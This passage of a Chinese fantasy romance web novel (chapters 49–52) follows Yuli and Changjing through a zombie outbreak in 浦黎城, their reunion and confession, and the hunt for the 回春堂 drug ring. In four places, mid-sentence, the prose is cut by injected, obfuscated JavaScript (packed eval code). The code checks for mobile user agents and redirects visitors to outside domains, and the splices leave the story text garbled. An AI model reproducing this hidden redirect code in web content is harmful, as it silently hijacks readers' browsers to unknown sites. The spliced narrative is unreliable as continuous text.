他们讨论的时候,廉方和秦子谊还没走,到底是大宗门出来的弟子,从他们的只言片语中听出现在的情况有多紧急。虽然他们对魔尸一词也比较陌生,但是没有过多的考虑,廉方果断留下来,参与城内的行动,冉愉和沙十七由秦子谊送回客栈。 郁离没见过廉方的身手,但就修为来看,应付普通魔尸应当不成问题。他向廉方叮嘱魔尸的弱点和致命方式,廉方脸色发白,但握住剑柄的手很稳。 他们分开行动,向城中惨叫声响起的地方赶去。 白日里热闹的集市现在已是一片狼藉,两三具魔尸在夜晚的街面上寻不到血肉的气味,本能地将街边的铺子撞开。 郁离赶到的时候,一具套着浦黎城巡逻卫兵衣服的魔尸正抱着一个面部血肉模糊的尸体在啃。被啃的尸体起初一动不动,没过多久四肢就抽动起来。啃得满嘴是血的魔尸似乎感受到了什么,恋恋不舍地放下那具尸体。血肉模糊的尸体站起身,垂着头,成为了一具新的魔尸。 郁离操纵着他最善战的傀,面无表情将这几具魔尸解决掉。 “啊!救命啊!救命啊!”隔壁有尖利的呼救声响起,郁离冲过去。一个小姑娘和妹妹抱在一起缩在角落尖叫,看着一刻钟前还挂着温暖笑容的娘亲在啃完爹爹的腿后,向她们扑过来,娘亲身后的爹爹也在撑着地向过爬。 解决完这两具魔尸,郁离检查过两个小姑娘身上没有伤口,匆匆安抚几句才离开。两个小姑娘的哭声还回荡在耳边,郁离跑了不知多少个地方,目睹了不知多少个相似的惨剧,在浦黎城里的修士反应过来,一齐加入救援后,浦黎城里的惨叫才渐渐停歇。 郁离扔掉溅满血迹的夜行衣,跌坐在地上,一抬头,才发现天已经快要亮了。他回到回春堂门前,褚游和廉方已经回来了。 毕竟上过战场,褚游只是脸色有些难看。可廉方就不行了,只杀过妖斩过鬼还未出师的小修士,头一次经历这堪比地狱的场景,着实受不了。他用剑撑着地,神情脆弱摇摇欲坠。听廉方说秦子谊后面也去帮忙了,一路砍一路吐,确定城里的魔尸都被清理干净,便捂着嘴先回客栈去了。 面具在战斗中滑落了一点,郁离这才有时间扶正。 浦黎城的灾难化解了,可常瀞呢?常瀞在哪? 回春堂里打斗的痕迹与他离开时没有太大的变化,说明他和那具魔尸没在此地纠缠太久。浦黎城就这么大,他们打起来的动静应当不小。他在城里跑来跑去打魔尸时,不敢分心,但也没见到他们的身影。难道,是在城外? 褚游看他垂着头不说话,不太熟练地安慰道:“别担心,星君修为那么高,肯定没事的。再说了,他要是被那个什么魔尸王打败了,咱们也干脆收拾收拾直接躺地上等他们打过来算了哈哈哈。” 郁离瞄他一眼,这安慰不如不安慰。 他在回春堂仔细又搜了一遍,没发现任何带指向性的线索,无奈之下,准备先出城外找找看。在出城的路上,他遇到了姬润。 姬润成了个大花脸,苍白的脸上又是未干涸的血迹,又是不知在哪蹭的泥印。他见郁离急匆匆向城外去,心中了然,为他指了个方向:“快去吧,我一直在城墙附近,那个方向有打斗的声响。” 郁离悬着的心缓了缓,他谢过姬润,朝他指的方向奔去。 出了城,郁离循着隐隐的打斗声在黄沙中疾驰,声音越来越近了,近到他已经能看清远方的天空中有两道身影带着冰蓝色的光芒和凌厉的剑光在缠斗。 剑光与法术碰撞产生的波动搅起地面上的沙尘,远望简直是飞沙走石,天昏地暗。这魔尸王修为竟如此之高,难怪常瀞要把魔尸王引到城外打,若在城里就打起来,怕是整个浦黎城都要毁掉大半。 魔尸王尖利的指尖暗藏在法术之后向常瀞抓来,带起破空的呼啸声削断了常瀞的鬓发。常瀞一个后跃避开这一击,他擦了把额角的汗,又匆忙将剑上挑,挡住下一击。 这魔物附身的老怪物究竟修炼了多少年,不仅瞬发冰系法术,让人防不胜防,还浑身都是毒,这要是挨一下,他怕是也得变成留着口水嗷嗷叫的魔尸。太丑了,不行不行,况且他还没和郁离再续前缘呢,怎么能倒在这儿。 想到这里,常瀞握住剑的手紧了几分。速战速决,他已经差不多摸清这魔尸王施法的间隙了,接下来就是他反攻的时刻。憋着最后一股劲儿,他成功在魔尸王施法的短暂间隙,冲破他的防御,并且砍断了魔尸王的一条胳膊。魔尸王暴发出一声厉啸,常瀞松了口气,提剑起势,准备再收他一条腿。 就在这时,他察觉到了一股前所未有的危机感。魔尸王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868298|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的厉啸转为刺耳的笑声:“不错,你很强,可是不能再让你成长下去了,用我换你一命,不亏。” 魔尸王悬在空中大笑,身体转瞬间涨大了好几圈。 周身的空气中泛起诡异的波动,是爆炸的前兆。常瀞转身就想跑,可他的腿就像是陷入了泥沼,任凭他如何用力都动弹不得,只能眼睁睁看着魔尸王的身体在涨大到临界时,骤然爆开。 强烈的气浪席卷而来,常瀞眼前一片空白。 魔尸王自爆时,郁离已经接近了战团中心,他眼睁睁看着魔尸王自爆的刺目光芒吞噬了旁边那道身影。 “常瀞!” 一股寒气从头灌到脚,郁离只来得及甩出一个傀,就双腿一软,扑倒在地。粗糙的沙砾嵌入手掌,郁离没觉得疼,他很快撑起身,手脚并用朝爆炸中心跑。 魔尸王自爆激起了不小的沙尘,沙尘太浓,看不清路,郁离被绊倒了不知多少次,膝盖上,手肘处都是擦伤。 终于,他在爆炸中心的坑底找到了常瀞。 天亮之前还活蹦乱跳的常瀞此刻静静躺在地上,一动不动。他身上没有大片的伤口,似乎郁离在最后时刻甩出去的傀成功赶到,为他挡住了大部分伤害。 但是他为什么?为什么不动呢? 郁离小心地碰碰他:“常瀞,你怎么了……你醒醒啊,不要吓我。” 手背碰在常瀞脸上,一片滚烫,与此同时,他发现了常瀞从后背蔓延至腰侧的一道伤口,伤口不像是爆炸造成的,也不像是法术造成的,倒像是……抓伤,郁离立即想到了魔尸王。 魔尸王,抓伤,传染。几个词来回在郁离心尖打转。 不要,不要,不要。 将落未落的眼泪终究是流下来了,郁离一把掀掉面具,把头埋在常瀞的胸膛上:“求求你了,醒过来好不好。我是你的郁离啊,你不要我了吗,三百年前你就丢下过我一次了,你不能再丢下我一遍了。” “醒一醒,只要你醒过来,我什么都听你的,再也不躲着你了。” “求求你了……” 郁离哭着哭着,感到脸下蹭着的胸膛有了微弱的起伏。他泪眼朦胧地抬起头,对上常瀞的眸子,有细碎的光在他眼里闪动。 “瞧你哭得,脸跟花猫一样。“常瀞艰难支起身,单手捧住郁离的脸,拇指蹭了蹭,“这可是你自己说的啊,记住了,以后什么都听我的,敢食言我可是要……要揍你的,揍你屁股。” 常瀞低首,吻掉郁离眼角挂着的泪。在郁离怔楞的目光中,嘴唇贴着他面上蜿蜒而下的泪痕吮过,来到唇角。 而后重重碾上郁离微启的唇,唇齿相依间,蛮横顶开他的齿关,攻城略地。 那年小山鬼跌跌撞撞离开碧影山,而后孤身流浪三百余年。他想方设法想要留下的都留不住,从此便什么也不敢再求。 可是斗转星移,命运在亲手埋葬他后,又忽然回过头来,俯身垂怜,将他不敢再碰的人送到身前。 不放了,说什么都不放了。 50. 回春(八) 郁离噙着泪,抱上常瀞的腰,放任自己同他气息纠缠。直到他被吻地喘不过气来,方才回神。 他想起常瀞腰间的伤口,手慌忙抵上常瀞胸膛,避开常瀞还欲吻过来的唇。 常瀞初次体味亲吻的美好,哪肯轻易餍足,扶在郁离脸颊的手微微用力,低头又要亲。 “好了!”郁离这次终于推开他,“让我看看你的腰,你有没有哪里不舒服。” 常瀞不由自主摸上唇角,仍在回味:“没有不舒服,我此刻好到不能再好了。” 郁离见他还一幅飘飘然的样子,红着脸气急败坏:“咱们能不能先不说这个!你腰上的抓伤哪来的,不是魔尸王吧。” 常瀞恍然大悟,终于明白了让郁离一反常态,主动送上门来的原因。他暗自欢喜这魔尸王还算是干了件好事:“喔,咳,那个啊,我们打到沙漠里来的时候,魔尸王召唤出一只大沙蜥,或许是他养的宠物吧,我腰上的伤就是它挠的。” 郁离愣住:“沙,沙……蜥?” 常瀞一脸骄傲:“是啊,不过我很快就把它杀死了,就在离这里不远的地方。你要去看吗?真得特别大一只呢!” 郁离蹭一下站起来,重新戴上面具,取出伤药狠狠朝常瀞掷过去,随后弯腰收起为常瀞挡住大部分伤害,已经变得破破烂烂的傀:“看什么看!沙蜥有什么好看的!没事就起来!走了!” 手忙脚乱接住伤药,常瀞装出一副起身仍旧困难的模样,嘴里“哎呦哎呦”叫着,间或瞄一眼郁离留给他吭哧吭哧向前走的背影。果不其然,郁离听见他喊疼后,又寒着脸折回来,为他处理伤口。 回浦黎城的路上,郁离只顾走在前面,看都不看常瀞一眼。 常瀞终于从喜悦中回过味来,开始有些忐忑了,他捅捅郁离的肩膀:“你怎么不理我呀,你不会是不想认了,不想负责吧。” 郁离不语。 “你不讲理,这怎么能怪我呢,我也没说我被魔尸王挠了,是你自己误解的。”常瀞声音变弱。 郁离怒视。 “是我错了,都是我的错,你别不理我呀。”常瀞瑟缩。 郁离抿嘴:“我也不是生气,我就是……太害怕了。” “我保证,再也不让你担心了。”常瀞最会顺杆往上爬,讨好般地冲郁离笑,“那,那咱们这关系算是定下来了吧。” 郁离瞥他一眼。 常瀞笑嘻嘻:“那你能不能也别戴着这面具了,我都很久没见过你的脸了,让我好好看一看。” “不可。”郁离下意识拒绝后,看见常瀞迅速耷拉下来的眉眼,明知他多半是装的,还是补了一句,“我先前不是告诉过你,巷主不能随便摘掉面具。不过,等回客栈,没人的时候,我可以摘下来。” 常瀞欢快地点头应下。 浦黎城里的情况已然稳定,街上陆续有人出来收拾残局。一盆盆清水浇上被血染红的路面,在清扫间,鲜红渐渐淡去,可那些受伤的人却再也无法回来了。 虞家客栈很幸运地处在混乱之外,没有受到袭击,只是客栈里的人受了些惊吓,不过现下已经平复,慢慢恢复了往日的经营状态。 郁离先去了冉愉的房间。冉愉靠在床上,身上的伤被床前守着的两个师弟包扎的漂漂亮亮。廉方和秦子谊眼巴巴望着冉愉,就像两个跟老母鸡娘亲走丢,历经风吹雨打,又重新寻回鸡窝的可怜鸡崽。 “行了,我没事,你们也回去歇歇吧。”冉愉的声音还是有些虚弱,他听见敲门声,见来人是郁离和常瀞,露出一个微笑,“是你们啊,我都听两个师弟说了,这次多谢了。” “没事,好好养伤。” “嗯。”冉愉温和一笑,朝廉方扬了扬下巴。 廉方慢吞吞转过身,面向郁离和常瀞,深深鞠了一躬:“对不起,我为我之前的出言不逊道歉。” 就是一个比较狂的小孩儿而已,还勉强能算是他的师弟。常瀞心情极好,摆摆手,大度地原谅了他。 “起来吧。”郁离本也没放在心上,他摸摸怀里的账册,对冉愉道,“能说说,你在回春堂里都发现了些什么吗?” 经此一遭,冉愉也意识到回春堂的事情有多紧急,他坐直身子,有些不好意思:“我刚进去不久,就被抓了,也没什么发现。只听到有两个人在争执,一个人说,如今风头太紧,最好先缓一缓,另一个人反驳他,说能有什么事,赶紧把货物送去商队。我听到的就这些,有用吗?” 郁离与常瀞对视一眼,笑道:“有用,太有用了。” 常瀞摸摸下巴:“果然,就是虞家。你好好养伤,我们结束了手头的事,再来看你。” 走出冉愉的房间,郁离和常瀞又上了一层,去找褚游。推开房门,里面的人可不少。 房间里的窗大敞着,褚游坐在窗沿上吹风,一条腿支在地上一点一点。姬润和沙十七围坐在桌前,如果忽略掉垂头不语的沙十七,单看神情放松在喝着一杯黑乎乎冒着热气,不知道是什么汤药的姬润,那气氛还算融洽。 沙十七已经把身上染血的绷带换掉了,虽然仍旧古怪,称不上是寻常人,但好歹不至于走在路上会吓到人了。 郁离将账册放在桌上,姬润拿起来翻看,看着看着眉头便紧紧皱起来。 沙十七掀起眼皮瞥了一眼账册:“啊,你们果然拿到账册了,挺好,既然如此,回春堂里已经没有什么值得我再带你们去找一趟的。” 郁离摇摇头,没提账册,反而问到:“我记得你同钱八争执时,他提到个六爷。这位六爷你见过吗,长什么样?” 沙十七抬起头:“六爷很少出现,他的长相我说不上来,挺普通的,而且他没有修为。” 常瀞若有所思:“小六?” 郁离:“八成就是他。” 褚游从窗户旁三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14932505|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两步走过来:“你是说虞家虞八指使过来负责安顿我们的那个小六?嘶,我就说他怎么那么热情,还当他是想照顾好我们,去讨好虞八呢。” 姬润沉吟:“钱八,五爷,小六,沙十七……这回春堂都拿数字做称号,那虞家那位虞八会不会也是?” 常瀞:“应当不会,咱们都遇见一位钱八了,怎会又有一位虞八。况且,昨日我和郁离去过一趟虞家商行,虞八那会儿正在给手底下的人训话,说是货物和单子对不上。现在想来,对不上的货物,应当就是回春堂要借虞家商队运出去的,所谓神药。他都不知道这批药,肯定不是回春堂的人。” “这不就跟青山镇虞家那个魔物的话对上了!他鼓动虞晖去西域经商,在各国之间建立商道。好家伙,这帮魔物下了好大一盘棋!”褚游激动地一拍桌子,忽而又注意到常瀞直接说了郁离的名字,他反应过来,哆哆嗦嗦指着常瀞,又痛心疾首看向郁离:“你!你们!施娘走时还让我好好看着你,就这么一会儿时间,你就让他得逞了?” 郁离眼神飘忽四处看,就是不看褚游。 常瀞哈哈一笑,顺势揽过郁离肩膀:“郁离管你叫大哥,我往后也喊你大哥。大哥!自家人,往后咱们都是自家人!” 姬润一楞,也笑了,他拱拱手,对常瀞道:“恭喜啊。” “好了,先说说接下来要怎么办吧。”郁离连忙转移话题,不自在道。 “哼!回头再收拾你。”褚游愤愤不平,并不上郁离的套。 常瀞不乐意了,也不喊大哥了:“收拾什么呐,我俩有情人终成眷属,你不祝福,难不成还想当绊脚石不成,亏我还想帮你在寒酥面前说说好话呢。” 褚游一听重寒酥的名字,气焰立刻弱了下来:“大哥,别别别!我喊你大哥!往后我就是你们俩感情的坚实护卫,谁敢不同意我第一个不服!嘿嘿!只求大哥帮帮我。” 郁离有些崩溃,声音变大:“好了!能不能说说正事儿!” “好好好,咱们说正事儿!要我说,既然虞八不知情,咱们干脆直接下楼绑了小六,去跟他挑明。”见郁离急了,常瀞不敢再嘚瑟,拍拍他的头。 姬润皱着眉把杯子里的药汤干了,又迅速摸出一块蜜饯放进嘴里:“我同意,虞家若是知道轻重,由他们的掌权人出面帮着一块收拾残局,是最快的。” 沙十七幽幽开口:“没那么简单,销路断了,药的源头还在。只要源头不灭,潜藏在阴影里的人,喔就是你们唤的魔物,还是会制造出源源不断的药。” 郁离问道:“回春堂的人不是杀干净了吗?” “那只是你们以为的。”沙十七握紧杯子,眯起眼睛,“你们不是也注意到回春堂里的称呼了吗?就不说其他人了吧,前十的人,你们才杀了几个。回春堂才开了多久,这些代号,可不是在回春堂开起来的时候,才有的,而是已经存在好多好多年了。” 51. 回春(九) 沙十七眼里闪烁着怒火,气愤到连带着手中的茶杯都在颤动。似乎因为那些往事过去了许久,就连回忆都要费些力气,半晌,她才垂下头,用沙哑的声音缓缓道:“我生在一个偏僻的小村庄,我还记得,想要从外面去村里要翻好几座山,还要再过一条很宽的河,每到冬天河面会结一层厚厚的冰,孩子们都会在冰面上玩耍嬉戏。” “然后,就在那一日,噩梦来了,身边的人一个接一个变成不知道痛,只会咬人的怪物,最后,就连我的爹和娘也变成了那种怪物。哥哥把我塞进柜子里,我手里攥着哥哥刚给我补好的沙包,隔着柜门的缝隙,看见他被我娘啃得浑身是血。” “我浑浑噩噩躲在柜子里,直到外面的哀嚎声渐渐止息。几个我从未见过的外乡人发现了我,把我带走。他们许是看我年纪小,说话从来不避着我,我这才知道,那几个外乡人,就是制造这场惨剧的罪魁祸首。” “我跟在他们身边,每一天都恨不得将他们千刀万剐。可我太弱小了,只好按下心中的仇恨,默默寻找机会。” 说到这里,沙十七抬起头,眼中泛起大片朦胧的血色:“所以,我真的很感激你们,给了我一个手刃仇人的机会,虽然我杀掉的还不是全部。” 郁离不擅长安慰人,也清楚此时干巴巴的安慰对沙十七其实起不到什么作用,他想了想,掏出一块常瀞提过一句很好吃的点心,递给沙十七,小心翼翼问道:“那从你被他们带走,再到回春堂建立,这之间隔了多久?” 沙十七接过点心,也没有吃,模糊回道:“很久了,我也记不清了。他们之前的据点是在北境,来浦黎城开回春堂,是五爷提的,他头一日忽然说是时候了,第二日我们就迁到了浦黎城。” 记不清?记不清也总能说出个大概吧。郁离满腔疑惑。 常瀞也向郁离讨了一块点心,吃完,才慢悠悠道:“我能理解你的心情,但事关重大,还是麻烦你把所有能想到的线索都告诉我们。” 姬润给沙十七的杯子添上茶,语气温和:“是啊姑娘,麻烦你再想想。” “我确实记不清了,平时我只负责制药,其他事他们不让我参与,我只能把方子默给你们。”沙十七双手握住茶杯,头微微低垂,“喔还有,我听到他们说制药的材料不够了,过一阵子还得去趟金石城。” 金石城?郁离大惊,金石城不是早已荒废,再无人烟了吗?那里还会有什么制药的材料存在? “金石城啊。”常瀞手指在桌子上点了几下,显然也对金石城有点印象。 褚游挠头:“那咱们接下来是又要去这个金石城了?” 常瀞叹气:“是啊,不过不急,先把虞家这事解决了。” 这什么时候魔物都成大白菜了,说好的都乖乖呆在北境冰原的封印呢,真是拔了萝卜带出泥,一串一串的。他好不容易才和郁离再续前缘,不能搂着郁离游山玩水就算了,还得往那荒郊野岭跑。 “我还有最后一个疑问。”郁离透过面具直视沙十七低垂的眼睛,“他们屠村后,为何要带走你。” 沙十七一怔,随后苦笑着轻轻解开了缠绕在手腕上的一部分绷带。绷带散开,她举起皮肉翻卷,简直没有一块好皮的胳膊,“我也不清楚他们为何没有杀我,只是,他们把我带走后,就开始让我试药。后来药方越来越成熟,我才免了试药的苦。” 郁离看清她胳膊上狰狞的伤疤,虽然早有猜测,仍然呼吸一窒:“抱歉。” “没事。”沙十七一点一点将绷带仔细缠回去,微微一笑,“我也有一个请求。” “你说。” “能否让我与你们一道前往金石城,我会努力不成为你们的累赘。回春堂的药方中,有味药,我一直辨不出。我想去金石城看看,或许找到那味药,我身上试药留下的毒,便能解。” “好。” 从回春堂出来,沙十七就如同变了一个人,像是无依无靠的浮萍,眼里没了光芒。郁离觉得她对他们似乎仍旧有所保留,但是这种保留不含恶意。她道出请求的时候,眼底又生了些隐秘的希冀,他不忍拒绝,便答应了她。 他们留沙十七在客栈休息,一行四人径直下楼去找小六,不,应当是回春堂的六爷。果然,毫无修为的小六能在魔物组织里排行第六,靠得绝对是头脑。他一早就觉出不对劲,溜了,翻遍整个客栈,都寻不见他的影子。问客栈老板,老板迷迷糊糊,只说昨夜好像就没瞧见小六。 客栈老板的身份或许没问题,魔物组织再庞大,也不至于能在虞家手眼通天。不过,还是应当做好最坏的打算。他们怀着满腹心事来到虞家商行,面见虞家在浦黎城最大的主事人,虞八。 如他们所料,虞八不是魔物的走狗,他听着郁离的叙述,眼睛越瞪越大。为了让虞八充分认识到事情的严重性,郁离斟酌过后将青山镇虞府的事情和虞老爷虞峰死亡的真相,也告知了虞八。 听完郁离带来的消息,再加上他们商行这边也支援了浦黎城魔尸的反抗战,虞八已经完全相信郁离所言的真实性。他忧心忡忡地保证会第一时间联系虞家的现任家主——虞晖,肃清虞家上下,切断魔物的药物流通,尽最大能力,追回运送出去的药物。 这场战斗加扫尾,将近一天一夜,回到客栈,每个人都筋疲力尽,匆匆约定好明日的出发的时刻,便各自回房,休息去了。 常瀞磨磨蹭蹭还想跟到郁离房里,看有没有机会一起睡个小觉。却被郁离眼疾手快,关在了门外。 常瀞拍门:“说好的,卸了面具,让我好好看看你呢,怎么说话不算话呢。” 郁离平静的声音从门缝里传出来:“我只说回客栈,从没说过是今日,星君请回吧,我要睡觉了。” 常瀞哀嚎:“你骗人。” 郁离不再管他,哪能这么容易就原谅他,简单收拾过后,就睡下了。 常瀞在外面喊了半天,困意上涌,只能悻悻回房。他强撑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14954474|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉重的眼皮,硬是细致地沐浴一番,才允许自己躺在松软的被褥上。他在床上滚了一圈,想起在沙漠里亲吻,又高兴起来,反正关系都定了,不急于这一时,郁离有气,那就让他出了这气吧,谁让是他自己选的人,宠着呗。 那边,郁离累到连被子都没盖好,便已然进入甜蜜的梦乡。鼠爷四仰八叉躺在床边的软垫上打着呼噜,中途醒来,嘟嘟囔囔给郁离盖好被子,才又睡下。 第二日,浦黎城迎来了久违的一场雨。 郁离在淅淅沥沥的雨声中醒来,昨夜是他近来睡得最好的一夜,起床时唇角还挂着笑意。他收拾完毕,看时候还早,便倚在窗边看雨。 雨水细细密密斜落在屋顶上,街面上和城外的沙地上,送来了舒爽的凉意,也带走了城中几乎不可闻的血腥气。 街上有欢欢喜喜冲出来的孩童,在雨中奔跑,感受着大漠中来之不易的一场雨。嘴角高高翘起的孩童与木着一张脸的赤脚小姑娘擦身而过,郁离认得那个小姑娘,昨日他在她眼前,亲手杀死了变成的魔尸的,她的娘亲。 郁离叹了一口气,捞起还在梦中砸吧嘴的鼠爷,放进衣袖里。一推门,他吓了一哆嗦,差点儿把袖中的鼠爷甩出去。 常瀞讪笑着收回不知想干什么的爪子,眨眨眼:“我很早就醒了,怕扰你清梦,没敢敲门。” 郁离扶了下面具,瞥他一眼:“放心,不跑。” 他越过常瀞,慢吞吞向前走。常瀞就像个小尾巴似的,步步紧跟,缀在他身后。 在楼梯的转角处,冉愉拦住了他们。 他受得都是些皮外伤,用过从宗门带出来的上好伤药,再加上一天一夜的休养,已经对行动造不成阻碍。他站得很直,对他们笑道:“廉方和秦子谊被我打发回太虚山了,听说你们要去金石城,能不能也带上我。” 郁离担心他的伤势,和常瀞对视一眼,婉言谢绝。毕竟此去金石城,会有极大的可能存在危险。 冉愉仍然坚持:“宗门的消息今早慢悠悠传回来了,长老说,他们之所以没派来援手,是算到我此行有贵人相助,用不上他们。长老还说,他掐指又一算,让我先别急着回太虚山,务必跟上你们。” 常瀞笑出声:“没想到隔了这么多年,太虚山还是有这种神神叨叨的长老,这长老怕不是杨长老门下出来的吧。” “正是。” “行,那你就跟着我们吧。” 说话间,他们来到楼下,姬润、褚游和沙十七都已经坐在大堂候着他们。郁离默默点了点人数,六个人,真是不少。 雨还在下,他们撑起伞,向城外走。在经过一间酒肆时,褚游跑进去,买了几壶酒,说要带回去给施娘尝尝。 快到城门口,雨势越来越急,对面有一人撑伞缓缓走来,褚游看清来人,不顾差点儿没打稳的伞,抹了把脸上的雨水,便脚步轻快迎上前去。 郁离一抬头。好家伙,此去金石城看来又要加一人。 52. 昔时(一) 海平县一别,重寒酥带着魔物日夜兼程来到北境冰原,其间一刻未歇,直到亲手将它们送入封印,他才彻底放下心来。 在此长期守封印的三位同僚热情邀请他暂住几日,重寒酥想到近来魔物的大动作,便顺水推舟留下来,打算观察观察封印。 北境冰原的封印堪称古往今来、当之无愧的最强封印,据传是上古时期借天地之力所设。三名守卫每百年一换,天尊和上清境的其余人也会时不时到此检查封印,至今没发现有魔物出逃的踪迹。所以在封印之外,由三元鉴在数千年里探查到的一些魔物踪迹,只能归咎为是当时封印的漏网之鱼。 封印之地在北境冰原最寒冷的一片区域,寒冷到在冰原上生活的一些动物都不敢踏足。重寒酥一连几日站在封印地旁,透过其上厚厚的冰盖,注视着下面不断涌动的扭曲黑气。黑气纠缠着,变幻出种种令人极度不适的形态。 它们蠢蠢欲动,哪怕在完全隔绝的封印之下,也从未有一刻放弃过播撒恶意的念头。 停留几日,没有发现任何异常的重寒酥告别同僚,准备去浦黎城看看常瀞他们的进度。 刚一进城,还没等他找,便迎面遇见。重寒酥撑着伞立住,先向褚游笑笑,然后问常瀞:“事情办得如何?” 常瀞叹了口气,扳过他的肩膀转了个身:“结束了,也没结束,我们正要去北境。总之,你既然来了,就先跟我们走吧,路上再细说。” 重寒酥微笑的嘴角瞬间僵住。怎么是北境,他刚从北境来…… 出了浦黎城,借助地图确定金石城的方向后,他们便出发了。由于此行足足有七人,大家修为高低不一,为了能尽快抵达金石城,并且途中无人掉队,郁离在坐上自己常用的鸟型傀后,又掏出一架更大的船型傀供其余人使用。 船型傀坐六个人绰绰有余,可常瀞仍厚着脸皮挤上了郁离的那架。 傀向下沉了沉,郁离不自然地向一侧挪去,给常瀞让出位置。 傀在空中飞得平稳,常瀞没话找话了一通,渐渐开始坐没坐相,头歪在郁离肩上,手也不老实地摸上郁离的腰,见他没反对,肆无忌惮搂了上去。 常瀞捅捅郁离大腿:“怎么不说话。不是吧,还生气呢。” 郁离放下地图,无奈道:“没有,哪有那么多气可生的,我就是看看地图。” 常瀞收回郁离大腿上的爪子,转而向上,触碰到郁离面具的下缘:“地图有什么好看的,寒酥才从北境来,不是有他在前面带路呢。你答应我的,这会儿周围又没人,把面具摘了,让我好好看看,那天我太激动了,都没看清楚。” “你,松手……”郁离隔开常瀞的爪子。 他把常瀞的这只手挡开,另一只手又抓上来。两人一来一往几个来回,谁也没能奈何谁。 实在拗不过他,郁离探头,确定飞在前面那架傀上的同伴都在休息,没人会往后面看后,才摘下面具。 常瀞满意了,扳过郁离的脸左看右看。这张脸还是同记忆里一样,纯净清澈到不似人间有。脸上也干干净净的,没有一丁一点伤疤。 可常瀞就是觉得郁离变了,他的眼里已经没了当初在碧影山时的灵动与轻松,取而代之的,是沉沉的,不该属于他的暮气。 常瀞捧着他的脸,半天才低声道:“我还一直没问你,你是怎么从碧影山出来的,出来后又遇见了什么,怎么没去找我,又是怎么……丢了性命,进了酆都……” 郁离别过脸,不敢说实话,又不想骗他:“……山里起了火,松爷爷送我出来的,我一出来就去找你,路上遇到危险,就……” 掌心下的皮肤一直是冰凉的,怎么捂都捂不热。常瀞颤抖着松开手,不敢去想郁离一个人从山里出来,遇到危险,慌张又无助的模样。他将郁离拥进怀里,继续问:“是我不好,没保护好你……是谁,是谁杀了你!” “说什么呢,这跟你有什么关系。”常瀞怀里很暖,郁离向他胸膛处靠了靠,“放心,杀了我的人,都已经死了,在我死之前,就都死了。” “那碧影山呢,还好吗?” 郁离这回沉默了好久才开口:“……不清楚,我已经回不去了。” “等这边事情都结束了,我陪你回去看看。”常瀞低头蹭了蹭郁离的发顶,又将人抱紧了一些,“那后来呢,在鸡鸣巷遇见,你为什么装作不认识我。” “……我,我既已入了酆都,成了鬼,本不该同阳间人再有什么牵扯……” “是吗?就只是这个原因?”常瀞听了他的解释,还是觉得哪里不对,“哎,算了,我能感觉到你隐瞒了一些事情,你不愿意说就算了吧,以后想告诉我了再说。” 郁离松了口气:“对不起……” “不许说对不起。”常瀞轻轻按住他的唇,“你不想说了,那就听我说说吧,我不是还没有跟你说过,那年我那年为什么失约的事情。” 郁离张了张口,嗓音干涩:“可以不用说的。” 那年常瀞因何失约,他其实是知道的。正因为知道,他才不想让常瀞再亲手撕开心里那道,即使过了那么多年,仍然血淋淋的伤疤。 常瀞握住郁离的手:“没事,都过去了……” …… 三百年前,大昭。 距离同郁离的约定之期还有一月。常瀞结束闭关,从太虚山回家。 一路上,常瀞都闷闷不乐。 时间过得真快,这都第十年了,他还是没有找到能解开碧影山结界的办法。他完全没料到碧影山结界的难破程度,还在郁离面前说大话。这下好,打开结界的办法找不到就不说了,连山都进不去。 唉,真是。 常瀞垂头丧气回到大昭王城,王城里车水马龙,宽阔的街道两旁各类商肆热闹非凡,一如往昔。 他路过一家曾经时常关顾的食肆,腰杆弯弯的老板招呼完顾客,看见他眼睛都亮了,硬是塞给他两个包子:“这不是常小公子,从太虚山回来啦,走一路饿了吧,这两个包子拿去垫一垫。” 常瀞不好意思地推辞。 “哎呀,你从小到大在我家吃过多少回饭了,拿去拿去,就两个包子,不许掏银子!” “好,那我改日来你家吃饭。”老板太热情,常瀞只好收下。 他啃着热气腾腾的包子,走进丞相府大门。 “爹!娘!大哥!我回来啦!” 常夫人正坐在院子里发愣,猛然瞧见小儿子回来,吓了一跳,然后才笑着过来,打了他一下:“怎么突然回来了,没吃饭吧,娘叫人去给你做。” 常瀞坐下给自己倒了满满一杯茶,一口气喝完:“爹和大哥呢,还没下值吗?” 常夫人叹了口气:“近来朝中动荡愈演愈烈,大胤蠢蠢欲动,很快就要开战了。” “那……定了是外祖父去吗?” “是啊,其他几位将军抽调不开,朝廷青黄不接,只有爹了。”常夫人愁容满面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 